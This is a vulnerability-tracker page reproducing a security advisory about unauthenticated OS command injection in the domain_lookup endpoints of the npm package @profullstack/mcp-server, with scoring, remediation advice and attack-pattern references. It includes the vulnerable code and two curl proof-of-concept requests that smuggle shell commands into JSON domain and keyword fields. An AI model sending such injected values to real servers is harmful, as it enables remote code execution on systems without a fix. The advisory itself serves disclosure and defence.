GHSA-v6wj-c83f-v46x: @profullstack/mcp-server vulnerable to OS Command Injection in domain_lookup Module
Noroxi assessment
Priority: Monitor (action score 39/100)
- The sources we track (CISA KEV, Exploit-DB, Metasploit, Nuclei, GitHub) show no public exploit code or exploitation in the wild.
- Anyone who can reach it over the internet can trigger it. No account or password is required. No user action is required. No special conditions are required; it is repeatable.
- According to the record, no fixed version is available yet.
Low priority for now. Update when a fix is released; follow the vendor's advisory.
Generated automatically from the record's data: CVSS (NVD and CNA), CISA KEV and SSVC, FIRST EPSS, exploit sources, fixed versions. How we calculate it
Primary sources: OSV
<html> <body> <!--StartFragment--><html><head></head><body><h1>Security Advisory: OS Command Injection in <code>profullstack/mcp-server</code> <code>domain_lookup</code> Module</h1> Field | Value -- | -- Project | profullstack/mcp-server Repository | https://github.com/profullstack/mcp-server Affected Commit | 2e8ea913573610667ad54e31dba2e8198ebf7cf9 Affected Module | mcp_modules/domain_lookup Affected Endpoints | POST /domain-lookup/check, POST /domain-lookup/bulk Vulnerability Type | CWE-78: OS Command Injection CVSS 3.1 Score | 9.8 (Critical) — AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H Authentication Required | None Default Network Exposure | Bind address 0.0.0.0, no global authentication middleware Validated | 2026-04-21 (initial), 2026-04-28 (re-confirmed) <hr> <h2>Summary</h2> <p>The <code>domain_lookup</code> module assembles a shell command string by concatenating user-controlled input (<code>domains</code> / <code>keywords</code>) and passes it to <code>execAsync()</code>. Both HTTP endpoints reach the same sink. Because there is no argument quoting, escaping, or allowlist — and no authentication on the server — an unauthenticated remote attacker can execute arbitrary OS commands as the server process.</p> <hr> <h2>Affected Code</h2> <ul> <li><code>index.js:27</code> — server binds to <code>0.0.0.0</code>, no global auth middleware.</li> <li><code>mcp_modules/domain_lookup/index.js:52</code> — registers <code>POST /domain-lookup/check</code>.</li> <li><code>mcp_modules/domain_lookup/index.js:55</code> — registers <code>POST /domain-lookup/bulk</code>.</li> <li><code>mcp_modules/domain_lookup/src/service.js:19, :20</code> — <code>buildTldxCommand()</code> concatenates user input into the shell string.</li> <li><code>mcp_modules/domain_lookup/src/service.js:114, :115, :142</code> — <code>execAsync(command)</code> sink reached from both routes.</li> </ul> <hr> <h2>Vulnerable Code</h2> <p><strong>File:</strong> <code>mcp_modules/domain_lookup/src/service.js</code></p> <p><strong>Step 1 — User input concatenated directly into a shell string:</strong></p> <pre><code class="language-js">buildTldxCommand(keywords, options = {}) { let command = `tldx ${keywords.join(' ')}`; if (options.prefixes?.length) { command += ` --prefixes ${options.prefixes.join(',')}`; } } </code></pre> <p><strong>Step 2 — That shell string is executed as-is:</strong></p> <pre><code class="language-js">async checkDomainAvailability(domains, options = {}) { try { const command = this.buildTldxCommand(domains, options); const { stdout, stderr } = await execAsync(command); </code></pre> <p>There is no sanitization between Step 1 and Step 2. Shell metacharacters (<code>;</code>, <code>|</code>, <code>$()</code>, etc.) in user input are interpreted by <code>/bin/sh</code> at execution time.</p> <hr> <h2>Proof of Concept</h2> <p>Tested against a local Docker build of the affected commit (<code>0.0.0.0:13000->3000/tcp</code>).</p> <h3>PoC A — <code>POST /domain-lookup/check</code></h3> <p><strong>Request:</strong></p> <pre><code class="language-bash">curl -X POST http://localhost:13000/domain-lookup/check \ -H 'Content-Type: application/json' \ -d '{"domains":["example.com; echo final_check_poc > /tmp/verify-exports/final_check.txt; #"]}' </code></pre> <p><strong>Response:</strong></p> <pre><code>HTTP/1.1 500 Internal Server Error access-control-allow-origin: * content-type: application/json Date: Tue, 21 Apr 2026 04:32:39 GMT {"error":"tldx command failed: tldx command failed: /bin/sh: tldx: not found\n"} </code></pre> <p><strong>Side effect confirmed inside container:</strong></p> <pre><code>$ cat /tmp/verify-exports/final_check.txt final_check_poc </code></pre> <h3>PoC B — <code>POST /domain-lookup/bulk</code></h3> <p><strong>Request:</strong></p> <pre><code class="language-bash">curl -X POST http://localhost:13000/domain-lookup/bulk \ -H 'Content-Type: application/json' \ -d '{"keywords":["safe","x; echo final_bulk_poc > /tmp/verify-exports/final_bulk.txt; #"]}' </code></pre> <p><strong>Response:</strong></p> <pre><code>HTTP/1.1 500 Internal Server Error access-control-allow-origin: * content-type: application/json Date: Tue, 21 Apr 2026 04:32:40 GMT {"error":"Bulk domain check failed: Bulk domain check failed: /bin/sh: tldx: not found\n"} </code></pre> <p><strong>Side effect confirmed inside container:</strong></p> <pre><code>$ cat /tmp/verify-exports/final_bulk.txt final_bulk_poc </code></pre> <h3>Note on HTTP 500</h3> <p>Both requests return HTTP 500 because <code>tldx</code> is not installed in the test container. The injected commands are interpreted by the shell <strong>before</strong> <code>tldx</code> is invoked. The marker files confirm that attacker-controlled commands executed successfully despite the 500 response. In a production environment where <code>tldx</code> is installed, both the intended function and the injected commands execute.</p> <hr> <h2>Impact</h2> <ul> <li>Unauthenticated remote code execution as the server process UID.</li> <li>Full read/write access to any file the server process can access.</li> <li>Potential for outbound connections, credential theft, persistence, and lateral movement.</li> <li>Reproducible with a single unauthenticated HTTP POST to either of two documented endpoints.</li> </ul> <hr> <h2>Suggested Remediation</h2> <ol> <li>Replace <code>execAsync(command)</code> with <code>child_process.execFile</code> or <code>spawn('tldx', [keyword1, keyword2, ...])</code> — pass arguments as an array, never as a concatenated shell string.</li> <li>Validate all domain/keyword input against a strict allowlist (RFC 1035 hostname syntax) before invoking the external binary; reject any input containing shell metacharacters.</li> <li>Add a global authentication middleware so all HTTP-exposed modules are not callable anonymously.</li> <li>Default the server bind address to <code>127.0.0.1</code> and require explicit opt-in for non-loopback bindings.</li> </ol> <hr> <h2>Verification Environment</h2> <ul> <li>Local Docker container only; no third-party deployment was tested.</li> <li>The container does not include the <code>tldx</code> binary; this is intentional for safe local PoC and does not affect exploitability.</li> </ul></body></html><!--EndFragment--> </body> </html>
- Published
- May 9, 2026
- Updated
- May 9, 2026
- EPSS
- —
- CWE
- CWE-78
Report tools
Action score
39
Low priority for now.
- CVSS
- 39 / 40 · 9.8 / 10
- CISA KEV
- 0 / 30 · Not listed
- EPSS
- 0 / 30 · —
Get told when this record changes
- Not in KEV: no record of exploitation in the wild
- No public exploit code on record
- No fixed version yet
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What does it mean in your environment?
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| Vendor | Product | CPE |
|---|---|---|
| npm | @profullstack/mcp-server | pkg:npm/%40profullstack/mcp-server |
Package-level exposure
OSV and GitHub Advisory data: ecosystem, package and range. SBOM matching uses this table.
| Ecosystem | Package | Affected range | Fix |
|---|---|---|---|
| npm | @profullstack/mcp-server | up to and including 1.4.12 | — |
Remediation
Which version to upgrade to
Fix versions compiled from the vendor, package registries and Microsoft. Verify the vendor's note before upgrading.
No fix version is recorded for this entry. Check the references for vendor advisories.
Exploit status
No known public exploit
No public exploit has been observed yet. That doesn't mean you're safe, only that the bar is a little higher.
Research context
For pentesters and researchers: attack profile, score disagreement, timeline, patch commits, credits, variant and chain candidates, bug bounty scope. All derived from existing data; no exploit code.
Timeline
From publication to today: proof of concept, Metasploit module, CISA KEV and fix record. Dates are as reported by the sources.
No dated events beyond publication.
Not on record for this CVE: EPSS history · patch commit or PR link · researcher credit · variant or chain candidate · public bounty program.
Technical details
Attack conditions
- Anyone who can reach it over the internet can trigger it.
- No account or password is required.
- No user action is required.
- No special conditions are required; it is repeatable.
If successful
- Confidentiality
- high · data can be read
- Integrity
- high · data or configuration can be modified
- Availability
- high · the service can be disrupted
- Attack vector
- Network
- Attack complexity
- Low
- Privileges required
- None
- User interaction
- None
- Scope
- Unchanged
- Confidentiality impact
- High
- Integrity impact
- High
- Availability impact
- High
Weakness class (CWE)
CWE-78 · Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')CVSS vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
osv
Root cause
User input is inserted as text into a shell command. The shell may interpret special characters in the input as part of the command.
The bug in code
The whole CWE-78 classA representative example of this vulnerability class. Not the vendor's source code; it shows the faulty pattern and its fix.
Vulnerable
const host = req.body.host;
exec("ping -c 1 " + host, onResult);Fixed
const host = req.body.host;
if (!/^[a-z0-9.-]{1,253}$/i.test(host)) return res.sendStatus(400);
execFile("ping", ["-c", "1", host], onResult);Attack context
MITRE CAPEC attack patterns and ATT&CK techniques for this weakness class (CWE). A starting point for detection rules and threat hunting.
Attack patterns (CAPEC)
- Command Line Execution through SQL InjectionCAPEC-108likelihood: Low · Very High
- Command DelimitersCAPEC-15likelihood: High · High
- Exploiting Multiple Input Interpretation LayersCAPEC-43likelihood: Medium · High
- Argument InjectionCAPEC-6likelihood: High · High
- OS Command InjectionCAPEC-88likelihood: High · High
ATT&CK techniques
—
Change log (0)
No changes recorded on tracked fields yet. Score, KEV, exploit maturity and fix status changes appear here.
References
Show all references (1 more)Show less
Vendor advisories and official records. Exploit/PoC links are deliberately left out.